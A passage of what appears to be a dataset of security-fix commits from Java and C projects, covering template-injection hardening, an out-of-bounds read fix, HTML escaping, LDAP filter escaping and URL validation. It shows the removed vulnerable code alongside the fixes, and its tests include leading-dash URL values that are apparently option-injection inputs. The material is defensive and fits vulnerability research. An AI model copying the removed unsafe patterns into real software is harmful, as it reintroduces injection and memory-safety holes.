render(String templateContent, Map context) {\n+\tpublic String render(String templateContent, Map context) throws TemplateRenderException {\n \t\tVelocityContext velocityContext = new VelocityContext(context);\n \t\ttry (StringWriter sw = new StringWriter()) {\n \t\t\tVelocity.evaluate(velocityContext, sw, \"velocityTemplateEngine\", templateContent);", "sections": [{"section": "@@ -4,6 +4,7 @@\n import org.apache.velocity.VelocityContext;\n import org.apache.velocity.app.Velocity;\n import org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader;\n+import org.apache.velocity.util.introspection.SecureUberspector;\n import org.springframework.stereotype.Component;\n \n import java.io.StringWriter;\n", "related": false}, {"section": "@@ -22,6 +23,8 @@ public class VelocityTemplateEngine implements TemplateEngine {\n \t\t// 设置velocity资源加载器, 保留文件加载loader\n \t\tProperties prop = new Properties();\n \t\tprop.put(\"file.resource.loader.class\", ClasspathResourceLoader.class.getName());\n+\t\t// 安全处理\n+\t\tprop.put(\"runtime.introspector.uberspect\", SecureUberspector.class.getName());\n \t\tVelocity.init(prop);\n \t}\n \n", "related": false}, {"section": "@@ -31,7 +34,7 @@ public TemplateEngineTypeEnum type() {\n \t}\n \n \t@Override\n-\tpublic String render(String templateContent, Map context) {\n+\tpublic String render(String templateContent, Map context) throws TemplateRenderException {\n \t\tVelocityContext velocityContext = new VelocityContext(context);\n \t\ttry (StringWriter sw = new StringWriter()) {\n \t\t\tVelocity.evaluate(velocityContext, sw, \"velocityTemplateEngine\", templateContent);", "related": false}]} +{"owner": "vran-dev", "repo": "databasir", "language": "Java", "file_name": "core/src/main/java/com/databasir/core/infrastructure/connection/CustomDatabaseConnectionFactory.java", "commit_id": "ca22a8fef7a31c0235b0b2951260a7819b89993b", "commit_message": "fix some security bug (#103)\n\n* fix: use hard-code secret\r\n\r\n* feat: add driver class validate\r\n\r\n* feat: optimize drvier resource code\r\n\r\n* fix:ut failed", "patch": "@@ -36,8 +36,10 @@ public boolean support(String databaseType) {\n \n @Override\n public Connection getConnection(Context context) throws SQLException {\n- DatabaseTypePojo type = databaseTypeDao.selectByDatabaseType(context.getDatabaseType());\n- File driverFile = driverResources.loadOrDownload(context.getDatabaseType(), type.getJdbcDriverFileUrl());\n+ String databaseType = context.getDatabaseType();\n+ DatabaseTypePojo type = databaseTypeDao.selectByDatabaseType(databaseType);\n+ File driverFile = driverResources.loadOrDownloadByDatabaseType(databaseType, type.getJdbcDriverFileUrl());\n+\n URLClassLoader loader = null;\n try {\n loader = new URLClassLoader(\n@@ -55,11 +57,11 @@ public Connection getConnection(Context context) throws SQLException {\n Class clazz = null;\n Driver driver = null;\n try {\n- clazz = Class.forName(type.getJdbcDriverClassName(), true, loader);\n+ clazz = Class.forName(type.getJdbcDriverClassName(), false, loader);\n driver = (Driver) clazz.getConstructor().newInstance();\n } catch (ClassNotFoundException e) {\n log.error(\"init driver error\", e);\n- throw DomainErrors.CONNECT_DATABASE_FAILED.exception(\"驱动初始化异常, 请检查 Driver name:\" + e.getMessage());\n+ throw DomainErrors.CONNECT_DATABASE_FAILED.exception(\"驱动初始化异常, 请检查驱动类名:\" + e.getMessage());\n } catch (InvocationTargetException\n | InstantiationException\n | IllegalAccessException", "sections": [{"section": "@@ -36,8 +36,10 @@ public boolean support(String databaseType) {\n \n @Override\n public Connection getConnection(Context context) throws SQLException {\n- DatabaseTypePojo type = databaseTypeDao.selectByDatabaseType(context.getDatabaseType());\n- File driverFile = driverResources.loadOrDownload(context.getDatabaseType(), type.getJdbcDriverFileUrl());\n+ String databaseType = context.getDatabaseType();\n+ DatabaseTypePojo type = databaseTypeDao.selectByDatabaseType(databaseType);\n+ File driverFile = driverResources.loadOrDownloadByDatabaseType(databaseType, type.getJdbcDriverFileUrl());\n+\n URLClassLoader loader = null;\n try {\n loader = new URLClassLoader(\n", "related": false}, {"section": "@@ -55,11 +57,11 @@ public Connection getConnection(Context context) throws SQLException {\n Class clazz = null;\n Driver driver = null;\n try {\n- clazz = Class.forName(type.getJdbcDriverClassName(), true, loader);\n+ clazz = Class.forName(type.getJdbcDriverClassName(), false, loader);\n driver = (Driver) clazz.getConstructor().newInstance();\n } catch (ClassNotFoundException e) {\n log.error(\"init driver error\", e);\n- throw DomainErrors.CONNECT_DATABASE_FAILED.exception(\"驱动初始化异常, 请检查 Driver name:\" + e.getMessage());\n+ throw DomainErrors.CONNECT_DATABASE_FAILED.exception(\"驱动初始化异常, 请检查驱动类名:\" + e.getMessage());\n } catch (InvocationTargetException\n | InstantiationException\n | IllegalAccessException", "related": false}]} +{"owner": "opensc", "repo": "opensc", "language": "C", "file_name": "src/libopensc/pkcs15-tcos.c", "commit_id": "78cdab949f098ad7e593d853229fccf57d749d0c", "commit_message": "tcos: prevent out of bounds read\n\nThanks oss-fuzz\n\nhttps://bugs.chromium.org/p/oss-fuzz/issues/detail?id=27719", "patch": "@@ -152,7 +152,7 @@ static int insert_key(\n \t\t\tsc_log(ctx, \"No EF_KEYD-Record found\\n\");\n \t\t\treturn 1;\n \t\t}\n-\t\tfor (i = 0; i < r; i += 2 + buf[i + 1]) {\n+\t\tfor (i = 0; i + 1 < r; i += 2 + buf[i + 1]) {\n \t\t\tif (buf[i] == 0xB6)\n \t\t\t\tcan_sign++;\n \t\t\tif (buf[i] == 0xB8)", "sections": [{"section": "@@ -152,7 +152,7 @@ static int insert_key(\n \t\t\tsc_log(ctx, \"No EF_KEYD-Record found\\n\");\n \t\t\treturn 1;\n \t\t}\n-\t\tfor (i = 0; i < r; i += 2 + buf[i + 1]) {\n+\t\tfor (i = 0; i + 1 < r; i += 2 + buf[i + 1]) {\n \t\t\tif (buf[i] == 0xB6)\n \t\t\t\tcan_sign++;\n \t\t\tif (buf[i] == 0xB8)", "related": false}]} +{"owner": "spring-projects", "repo": "spring-framework", "language": "Java", "file_name": "spring-web/src/main/java/org/springframework/web/bind/WebDataBinder.java", "commit_id": "a7cf19cec5ebd270f97a194d749e2d5701ad2ab7", "commit_message": "Improve documentation and matching algorithm in data binders", "patch": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2002-2020 the original author or authors.\n+ * Copyright 2002-2022 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n@@ -34,6 +34,15 @@\n * the Servlet API; serves as base class for more specific DataBinder variants,\n * such as {@link org.springframework.web.bind.ServletRequestDataBinder}.\n *\n+ *

WARNING: Data binding can lead to security issues by exposing\n+ * parts of the object graph that are not meant to be accessed or modified by\n+ * external clients. Therefore the design and use of data binding should be considered\n+ * carefully with regard to security. For more details, please refer to the dedicated\n+ * sections on data binding for\n+ * Spring Web MVC and\n+ * Spring WebFlux\n+ * in the reference manual.\n+ *\n *

Includes support for field markers which address a common problem with\n * HTML checkboxes and select options: detecting that a field was part of\n * the form, but did not generate a request parameter because it was empty.", "sections": [{"section": "@@ -1,5 +1,5 @@\n /*\n- * Copyright 2002-2020 the original author or authors.\n+ * Copyright 2002-2022 the original author or authors.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n", "related": false}, {"section": "@@ -34,6 +34,15 @@\n * the Servlet API; serves as base class for more specific DataBinder variants,\n * such as {@link org.springframework.web.bind.ServletRequestDataBinder}.\n *\n+ *

WARNING: Data binding can lead to security issues by exposing\n+ * parts of the object graph that are not meant to be accessed or modified by\n+ * external clients. Therefore the design and use of data binding should be considered\n+ * carefully with regard to security. For more details, please refer to the dedicated\n+ * sections on data binding for\n+ * Spring Web MVC and\n+ * Spring WebFlux\n+ * in the reference manual.\n+ *\n *

Includes support for field markers which address a common problem with\n * HTML checkboxes and select options: detecting that a field was part of\n * the form, but did not generate a request parameter because it was empty.", "related": false}]} +{"owner": "gocd", "repo": "gocd", "language": "Java", "file_name": "server/src/test-fast/java/com/thoughtworks/go/server/controller/ArtifactsControllerTest.java", "commit_id": "c22e0428164af25d3e91baabd3f538a41cadc82f", "commit_message": "#000 - Validate stage counter during upload artifacts", "patch": "@@ -39,6 +39,7 @@\n \n import static com.thoughtworks.go.util.GoConstants.*;\n import static javax.servlet.http.HttpServletResponse.SC_INTERNAL_SERVER_ERROR;\n+import static javax.servlet.http.HttpServletResponse.SC_NOT_FOUND;\n import static org.hamcrest.Matchers.*;\n import static org.hamcrest.MatcherAssert.assertThat;\n import static org.mockito.Mockito.any;\n@@ -120,6 +121,21 @@ public void shouldReturnHttpErrorCodeWhenChecksumFileSaveFails() throws Exceptio\n assertThat(view.getContent(), is(\"Error saving checksum file for the artifact at path 'some-path'\"));\n }\n \n+ @Test\n+ void shouldFailToPostAndPutWhenStageCounterIsNotAPositiveInteger() throws Exception {\n+ ModelAndView modelAndView = artifactsController.postArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"NOT_AN_INTEGER\", \"job-1\", 122L, \"some-path\", 1, null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.postArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"-123\", \"job-1\", 122L, \"some-path\", 1, null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.putArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"NOT_AN_INTEGER\", \"job-1\", 122L, \"some-path\", \"1\", null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.putArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"-123\", \"job-1\", 122L, \"some-path\", \"1\", null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+ }\n+\n @Test\n public void shouldFunnelAll_GET_calls() throws Exception {\n final ModelAndView returnVal = new ModelAndView();", "sections": [{"section": "@@ -39,6 +39,7 @@\n \n import static com.thoughtworks.go.util.GoConstants.*;\n import static javax.servlet.http.HttpServletResponse.SC_INTERNAL_SERVER_ERROR;\n+import static javax.servlet.http.HttpServletResponse.SC_NOT_FOUND;\n import static org.hamcrest.Matchers.*;\n import static org.hamcrest.MatcherAssert.assertThat;\n import static org.mockito.Mockito.any;\n", "related": false}, {"section": "@@ -120,6 +121,21 @@ public void shouldReturnHttpErrorCodeWhenChecksumFileSaveFails() throws Exceptio\n assertThat(view.getContent(), is(\"Error saving checksum file for the artifact at path 'some-path'\"));\n }\n \n+ @Test\n+ void shouldFailToPostAndPutWhenStageCounterIsNotAPositiveInteger() throws Exception {\n+ ModelAndView modelAndView = artifactsController.postArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"NOT_AN_INTEGER\", \"job-1\", 122L, \"some-path\", 1, null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.postArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"-123\", \"job-1\", 122L, \"some-path\", 1, null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.putArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"NOT_AN_INTEGER\", \"job-1\", 122L, \"some-path\", \"1\", null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+\n+ modelAndView = artifactsController.putArtifact(\"pipeline-1\", \"1\", \"stage-1\", \"-123\", \"job-1\", 122L, \"some-path\", \"1\", null);\n+ assertThat(((ResponseCodeView) modelAndView.getView()).getStatusCode(), is(SC_NOT_FOUND));\n+ }\n+\n @Test\n public void shouldFunnelAll_GET_calls() throws Exception {\n final ModelAndView returnVal = new ModelAndView();", "related": false}]} +{"owner": "gocd", "repo": "gocd", "language": "Java", "file_name": "common/src/main/java/com/thoughtworks/go/server/presentation/html/HtmlElement.java", "commit_id": "f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4", "commit_message": "#000 - Escape filenames in artifact tab", "patch": "@@ -19,6 +19,7 @@\n import java.util.List;\n \n import com.thoughtworks.go.server.presentation.models.HtmlRenderer;\n+import org.apache.commons.text.StringEscapeUtils;\n \n public class HtmlElement implements HtmlRenderable {\n public static HtmlElement div(HtmlAttribute... attributes) { return new HtmlElement(\"div\", attributes); }\n@@ -37,10 +38,14 @@ private HtmlElement(String elementName, HtmlAttribute... attributes) {\n this.attributes = attributes;\n }\n \n- public HtmlElement content(String body) {\n+ public HtmlElement unsafecontent(String body) {\n return content(new TextElement(body));\n }\n \n+ public HtmlElement safecontent(String body) {\n+ return content(new TextElement(StringEscapeUtils.escapeHtml4(body)));\n+ }\n+\n public HtmlElement content(HtmlRenderable... elements) {\n for (HtmlRenderable element : elements) {\n addToBody(element);\n@@ -80,5 +85,4 @@ public void render(HtmlRenderer renderer) {\n renderer.append(\"\\n\");\n }\n }\n-\n }", "sections": [{"section": "@@ -19,6 +19,7 @@\n import java.util.List;\n \n import com.thoughtworks.go.server.presentation.models.HtmlRenderer;\n+import org.apache.commons.text.StringEscapeUtils;\n \n public class HtmlElement implements HtmlRenderable {\n public static HtmlElement div(HtmlAttribute... attributes) { return new HtmlElement(\"div\", attributes); }\n", "related": false}, {"section": "@@ -37,10 +38,14 @@ private HtmlElement(String elementName, HtmlAttribute... attributes) {\n this.attributes = attributes;\n }\n \n- public HtmlElement content(String body) {\n+ public HtmlElement unsafecontent(String body) {\n return content(new TextElement(body));\n }\n \n+ public HtmlElement safecontent(String body) {\n+ return content(new TextElement(StringEscapeUtils.escapeHtml4(body)));\n+ }\n+\n public HtmlElement content(HtmlRenderable... elements) {\n for (HtmlRenderable element : elements) {\n addToBody(element);\n", "related": false}, {"section": "@@ -80,5 +85,4 @@ public void render(HtmlRenderer renderer) {\n renderer.append(\"\\n\");\n }\n }\n-\n }", "related": false}]} +{"owner": "gocd", "repo": "gocd", "language": "Java", "file_name": "config/config-api/src/test/java/com/thoughtworks/go/config/materials/perforce/P4MaterialConfigTest.java", "commit_id": "6fa9fb7a7c91e760f1adc2593acdd50f2d78676b", "commit_message": "#000 - Validate URLs provided\n\n- Disallow URLs which are obviously not URLs.", "patch": "@@ -20,7 +20,6 @@\n import com.thoughtworks.go.config.materials.Filter;\n import com.thoughtworks.go.config.materials.IgnoredFiles;\n import com.thoughtworks.go.config.materials.ScmMaterialConfig;\n-import com.thoughtworks.go.config.materials.svn.SvnMaterialConfig;\n import com.thoughtworks.go.domain.materials.MaterialConfig;\n import com.thoughtworks.go.security.GoCipher;\n import com.thoughtworks.go.util.ReflectionUtil;\n@@ -33,6 +32,8 @@\n \n import static com.thoughtworks.go.helper.MaterialConfigsMother.p4;\n import static org.assertj.core.api.Assertions.assertThat;\n+import static org.junit.jupiter.api.Assertions.assertFalse;\n+import static org.junit.jupiter.api.Assertions.assertTrue;\n import static org.mockito.Mockito.*;\n \n class P4MaterialConfigTest {\n@@ -111,17 +112,17 @@ void setConfigAttributes_shouldUpdatePasswordWhenPasswordChangedBooleanChanged()\n assertThat(materialConfig.getEncryptedPassword()).isEqualTo(new GoCipher().encrypt(\"secret\"));\n \n //Dont change\n- map.put(SvnMaterialConfig.PASSWORD, \"Hehehe\");\n- map.put(SvnMaterialConfig.PASSWORD_CHANGED, \"0\");\n+ map.put(P4MaterialConfig.PASSWORD, \"Hehehe\");\n+ map.put(P4MaterialConfig.PASSWORD_CHANGED, \"0\");\n materialConfig.setConfigAttributes(map);\n \n assertThat(ReflectionUtil.getField(materialConfig, \"password\")).isNull();\n assertThat(materialConfig.getPassword()).isEqualTo(\"secret\");\n assertThat(materialConfig.getEncryptedPassword()).isEqualTo(new GoCipher().encrypt(\"secret\"));\n \n //Dont change\n- map.put(SvnMaterialConfig.PASSWORD, \"\");\n- map.put(SvnMaterialConfig.PASSWORD_CHANGED, \"1\");\n+ map.put(P4MaterialConfig.PASSWORD, \"\");\n+ map.put(P4MaterialConfig.PASSWORD_CHANGED, \"1\");\n materialConfig.setConfigAttributes(map);\n \n assertThat(materialConfig.getPassword()).isNull();\n@@ -141,6 +142,23 @@ void shouldNotSetUseTicketsIfNotInConfigAttributesMap() {\n assertThat(p4MaterialConfig.getUseTickets()).isFalse();\n }\n \n+ @Nested\n+ class Validate {\n+ @Test\n+ void rejectsObviouslyWrongURL() {\n+ assertTrue(validating(p4(\"-url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ assertTrue(validating(p4(\"_url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ assertTrue(validating(p4(\"@url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+\n+ assertFalse(validating(p4(\"url-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ }\n+\n+ private P4MaterialConfig validating(P4MaterialConfig p4) {\n+ p4.validate(new ConfigSaveValidationContext(null));\n+ return p4;\n+ }\n+\n+ }\n @Nested\n class ValidateTree {\n @Test", "sections": [{"section": "@@ -20,7 +20,6 @@\n import com.thoughtworks.go.config.materials.Filter;\n import com.thoughtworks.go.config.materials.IgnoredFiles;\n import com.thoughtworks.go.config.materials.ScmMaterialConfig;\n-import com.thoughtworks.go.config.materials.svn.SvnMaterialConfig;\n import com.thoughtworks.go.domain.materials.MaterialConfig;\n import com.thoughtworks.go.security.GoCipher;\n import com.thoughtworks.go.util.ReflectionUtil;\n", "related": false}, {"section": "@@ -33,6 +32,8 @@\n \n import static com.thoughtworks.go.helper.MaterialConfigsMother.p4;\n import static org.assertj.core.api.Assertions.assertThat;\n+import static org.junit.jupiter.api.Assertions.assertFalse;\n+import static org.junit.jupiter.api.Assertions.assertTrue;\n import static org.mockito.Mockito.*;\n \n class P4MaterialConfigTest {\n", "related": false}, {"section": "@@ -111,17 +112,17 @@ void setConfigAttributes_shouldUpdatePasswordWhenPasswordChangedBooleanChanged()\n assertThat(materialConfig.getEncryptedPassword()).isEqualTo(new GoCipher().encrypt(\"secret\"));\n \n //Dont change\n- map.put(SvnMaterialConfig.PASSWORD, \"Hehehe\");\n- map.put(SvnMaterialConfig.PASSWORD_CHANGED, \"0\");\n+ map.put(P4MaterialConfig.PASSWORD, \"Hehehe\");\n+ map.put(P4MaterialConfig.PASSWORD_CHANGED, \"0\");\n materialConfig.setConfigAttributes(map);\n \n assertThat(ReflectionUtil.getField(materialConfig, \"password\")).isNull();\n assertThat(materialConfig.getPassword()).isEqualTo(\"secret\");\n assertThat(materialConfig.getEncryptedPassword()).isEqualTo(new GoCipher().encrypt(\"secret\"));\n \n //Dont change\n- map.put(SvnMaterialConfig.PASSWORD, \"\");\n- map.put(SvnMaterialConfig.PASSWORD_CHANGED, \"1\");\n+ map.put(P4MaterialConfig.PASSWORD, \"\");\n+ map.put(P4MaterialConfig.PASSWORD_CHANGED, \"1\");\n materialConfig.setConfigAttributes(map);\n \n assertThat(materialConfig.getPassword()).isNull();\n", "related": false}, {"section": "@@ -141,6 +142,23 @@ void shouldNotSetUseTicketsIfNotInConfigAttributesMap() {\n assertThat(p4MaterialConfig.getUseTickets()).isFalse();\n }\n \n+ @Nested\n+ class Validate {\n+ @Test\n+ void rejectsObviouslyWrongURL() {\n+ assertTrue(validating(p4(\"-url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ assertTrue(validating(p4(\"_url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ assertTrue(validating(p4(\"@url-not-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+\n+ assertFalse(validating(p4(\"url-starting-with-an-alphanumeric-character\", \"view\")).errors().containsKey(P4MaterialConfig.SERVER_AND_PORT));\n+ }\n+\n+ private P4MaterialConfig validating(P4MaterialConfig p4) {\n+ p4.validate(new ConfigSaveValidationContext(null));\n+ return p4;\n+ }\n+\n+ }\n @Nested\n class ValidateTree {\n @Test", "related": false}]} +{"owner": "gocd", "repo": "gocd", "language": "Java", "file_name": "config/config-api/src/test/java/com/thoughtworks/go/config/materials/tfs/TfsMaterialConfigTest.java", "commit_id": "2b77b533abcbb79c8fc758dec9984305dc1ade42", "commit_message": "#000 - Allow parameters to be used as URLs\n\nRelates to commit 6fa9fb7a7c91e", "patch": "@@ -176,6 +176,7 @@ void rejectsObviouslyWrongURL() {\n assertTrue(validating(tfs(\"@url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n \n assertFalse(validating(tfs(\"url-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n+ assertFalse(validating(tfs(\"#{url}\")).errors().containsKey(TfsMaterialConfig.URL));\n }\n \n private TfsMaterialConfig validating(TfsMaterialConfig tfs) {", "sections": [{"section": "@@ -176,6 +176,7 @@ void rejectsObviouslyWrongURL() {\n assertTrue(validating(tfs(\"@url-not-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n \n assertFalse(validating(tfs(\"url-starting-with-an-alphanumeric-character\")).errors().containsKey(TfsMaterialConfig.URL));\n+ assertFalse(validating(tfs(\"#{url}\")).errors().containsKey(TfsMaterialConfig.URL));\n }\n \n private TfsMaterialConfig validating(TfsMaterialConfig tfs) {", "related": false}]} +{"owner": "geotools", "repo": "geotools", "language": "Java", "file_name": "modules/library/referencing/src/main/java/org/geotools/referencing/factory/epsg/ThreadedEpsgFactory.java", "commit_id": "4f70fa3234391dd0cda883a20ab0ec75688cba49", "commit_message": "[GEOT-7115] Streamline JNDI lookups", "patch": "@@ -22,9 +22,7 @@\n import java.util.jar.Attributes.Name;\n import java.util.logging.Level;\n import java.util.logging.LogRecord;\n-import javax.naming.InitialContext;\n import javax.naming.NamingException;\n-import javax.naming.NoInitialContextException;\n import javax.sql.DataSource;\n import org.geotools.metadata.i18n.ErrorKeys;\n import org.geotools.metadata.i18n.Errors;\n@@ -91,28 +89,12 @@ public class ThreadedEpsgFactory extends DeferredAuthorityFactory\n */\n public static final String DATASOURCE_NAME = \"java:comp/env/jdbc/EPSG\";\n \n- /**\n- * {@code true} if automatic registration of {@link #datasourceName} is allowed. Set to {@code\n- * false} for now because the registration has not been correctly tested in JEE environment.\n- *\n- * @todo Consider removing completly the code related to JNDI binding. In such case, this field\n- * and the {@link #registerInto} field would be removed.\n- */\n- private static final boolean ALLOW_REGISTRATION = false;\n-\n /** The default priority level for this factory. */\n protected static final int PRIORITY = MAXIMUM_PRIORITY - 10;\n \n /** The factories to be given to the backing store. */\n private final ReferencingFactoryContainer factories;\n \n- /**\n- * The context where to register {@link #datasource}, or {@code null} if it should not be\n- * registered. This is used only as a way to pass \"hiden\" return value between {@link\n- * #createDataSource()} and {@link #createBackingStore()}.\n- */\n- private transient InitialContext registerInto;\n-\n /**\n * The data source name. If it was not specified by the {@link Hints#EPSG_DATA_SOURCE\n * EPSG_DATA_SOURCE} hint, then this is the {@value #DATASOURCE_NAME} value.\n@@ -301,15 +283,10 @@ public synchronized void setDataSource(final DataSource datasource) throws SQLEx\n * @throws SQLException if an error occured while creating the data source.\n */\n protected DataSource createDataSource() throws SQLException {\n- InitialContext context = null;\n DataSource source = null;\n try {\n- context = GeoTools.getInitialContext();\n- source = (DataSource) context.lookup(datasourceName);\n- } catch (IllegalArgumentException | NoInitialContextException exception) {\n- // Fall back on 'return null' below.\n- } catch (NamingException exception) {\n- registerInto = context;\n+ source = (DataSource) GeoTools.jndiLookup(datasourceName);\n+ } catch (IllegalArgumentException | NamingException exception) {\n // Fall back on 'return null' below.\n }\n return source;\n@@ -380,14 +357,7 @@ private AbstractAuthorityFactory createBackingStore0() throws FactoryException,\n * Try to gets the DataSource from JNDI. In case of success, it will be tried\n * for a connection before any DataSource declared in META-INF/services/.\n */\n- DataSource source;\n- final InitialContext context;\n- try {\n- source = createDataSource();\n- context = registerInto;\n- } finally {\n- registerInto = null;\n- }\n+ DataSource source = createDataSource();\n if (source == null) {\n throw new FactoryNotFoundException(Errors.format(ErrorKeys.NO_DATA_SOURCE));\n }\n@@ -398,27 +368,6 @@ private AbstractAuthorityFactory createBackingStore0() throws FactoryException,\n } finally {\n datasource = null;\n }\n- /*\n- * We now have a working connection. If a naming directory is running but didn't contains\n- * the \"jdbc/EPSG\" entry, add it now. In such case, a message is prepared and logged.\n- */\n- LogRecord record;\n- if (ALLOW_REGISTRATION && context != null) {\n- try {\n- context.bind(datasourceName, source);\n- record =\n- Loggings.format(\n- Level.FINE,\n- LoggingKeys.CREATED_DATASOURCE_ENTRY_$1,\n- datasourceName);\n- } catch (NamingException exception) {\n- record =\n- Loggings.format(\n- Level.WARNING, LoggingKeys.CANT_BIND_DATASOURCE_$1, datasourceName);\n- record.setThrown(exception);\n- }\n- log(record);\n- }\n this.datasource = source; // Stores the data source only after success.\n return factory;\n }", "sections": [{"section": "@@ -22,9 +22,7 @@\n import java.util.jar.Attributes.Name;\n import java.util.logging.Level;\n import java.util.logging.LogRecord;\n-import javax.naming.InitialContext;\n import javax.naming.NamingException;\n-import javax.naming.NoInitialContextException;\n import javax.sql.DataSource;\n import org.geotools.metadata.i18n.ErrorKeys;\n import org.geotools.metadata.i18n.Errors;\n", "related": false}, {"section": "@@ -91,28 +89,12 @@ public class ThreadedEpsgFactory extends DeferredAuthorityFactory\n */\n public static final String DATASOURCE_NAME = \"java:comp/env/jdbc/EPSG\";\n \n- /**\n- * {@code true} if automatic registration of {@link #datasourceName} is allowed. Set to {@code\n- * false} for now because the registration has not been correctly tested in JEE environment.\n- *\n- * @todo Consider removing completly the code related to JNDI binding. In such case, this field\n- * and the {@link #registerInto} field would be removed.\n- */\n- private static final boolean ALLOW_REGISTRATION = false;\n-\n /** The default priority level for this factory. */\n protected static final int PRIORITY = MAXIMUM_PRIORITY - 10;\n \n /** The factories to be given to the backing store. */\n private final ReferencingFactoryContainer factories;\n \n- /**\n- * The context where to register {@link #datasource}, or {@code null} if it should not be\n- * registered. This is used only as a way to pass \"hiden\" return value between {@link\n- * #createDataSource()} and {@link #createBackingStore()}.\n- */\n- private transient InitialContext registerInto;\n-\n /**\n * The data source name. If it was not specified by the {@link Hints#EPSG_DATA_SOURCE\n * EPSG_DATA_SOURCE} hint, then this is the {@value #DATASOURCE_NAME} value.\n", "related": false}, {"section": "@@ -301,15 +283,10 @@ public synchronized void setDataSource(final DataSource datasource) throws SQLEx\n * @throws SQLException if an error occured while creating the data source.\n */\n protected DataSource createDataSource() throws SQLException {\n- InitialContext context = null;\n DataSource source = null;\n try {\n- context = GeoTools.getInitialContext();\n- source = (DataSource) context.lookup(datasourceName);\n- } catch (IllegalArgumentException | NoInitialContextException exception) {\n- // Fall back on 'return null' below.\n- } catch (NamingException exception) {\n- registerInto = context;\n+ source = (DataSource) GeoTools.jndiLookup(datasourceName);\n+ } catch (IllegalArgumentException | NamingException exception) {\n // Fall back on 'return null' below.\n }\n return source;\n", "related": false}, {"section": "@@ -380,14 +357,7 @@ private AbstractAuthorityFactory createBackingStore0() throws FactoryException,\n * Try to gets the DataSource from JNDI. In case of success, it will be tried\n * for a connection before any DataSource declared in META-INF/services/.\n */\n- DataSource source;\n- final InitialContext context;\n- try {\n- source = createDataSource();\n- context = registerInto;\n- } finally {\n- registerInto = null;\n- }\n+ DataSource source = createDataSource();\n if (source == null) {\n throw new FactoryNotFoundException(Errors.format(ErrorKeys.NO_DATA_SOURCE));\n }\n", "related": false}, {"section": "@@ -398,27 +368,6 @@ private AbstractAuthorityFactory createBackingStore0() throws FactoryException,\n } finally {\n datasource = null;\n }\n- /*\n- * We now have a working connection. If a naming directory is running but didn't contains\n- * the \"jdbc/EPSG\" entry, add it now. In such case, a message is prepared and logged.\n- */\n- LogRecord record;\n- if (ALLOW_REGISTRATION && context != null) {\n- try {\n- context.bind(datasourceName, source);\n- record =\n- Loggings.format(\n- Level.FINE,\n- LoggingKeys.CREATED_DATASOURCE_ENTRY_$1,\n- datasourceName);\n- } catch (NamingException exception) {\n- record =\n- Loggings.format(\n- Level.WARNING, LoggingKeys.CANT_BIND_DATASOURCE_$1, datasourceName);\n- record.setThrown(exception);\n- }\n- log(record);\n- }\n this.datasource = source; // Stores the data source only after success.\n return factory;\n }", "related": false}]} +{"owner": "gocd", "repo": "gocd-ldap-authentication-plugin", "language": "Java", "file_name": "src/test/java/cd/go/apacheds/ApacheDsLdapClientTest.java", "commit_id": "87fa7dac5d899b3960ab48e151881da4793cfcc3", "commit_message": "Escape/encode values when building search filters.", "patch": "@@ -38,7 +38,7 @@\n import static org.mockito.ArgumentMatchers.eq;\n import static org.mockito.Mockito.*;\n \n-class LdapTest {\n+class ApacheDsLdapClientTest {\n \n @Test\n void shouldBeAbleToSearchUsers() throws ParseException {\n@@ -65,6 +65,26 @@ void shouldBeAbleToSearchUsers() throws ParseException {\n assertThat(searchRequest.getTimeLimit()).isEqualTo(10);\n }\n \n+ @Test\n+ void shouldEscapeSearchFilterValues() throws ParseException {\n+ final LdapConfiguration ldapConfiguration = new LdapConfigurationBuilder()\n+ .withSearchTimeout(10)\n+ .withSearchBases(\"ou=foo,dc=bar\")\n+ .build();\n+\n+ final LdapConnectionTemplate ldapConnectionTemplate = mock(LdapConnectionTemplate.class);\n+ final ApacheDsLdapClient ldap = new ApacheDsLdapClient(ldapConfiguration, ldapConnectionTemplate);\n+ final ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(SearchRequestImpl.class);\n+\n+ when(ldapConnectionTemplate.search(argumentCaptor.capture(), 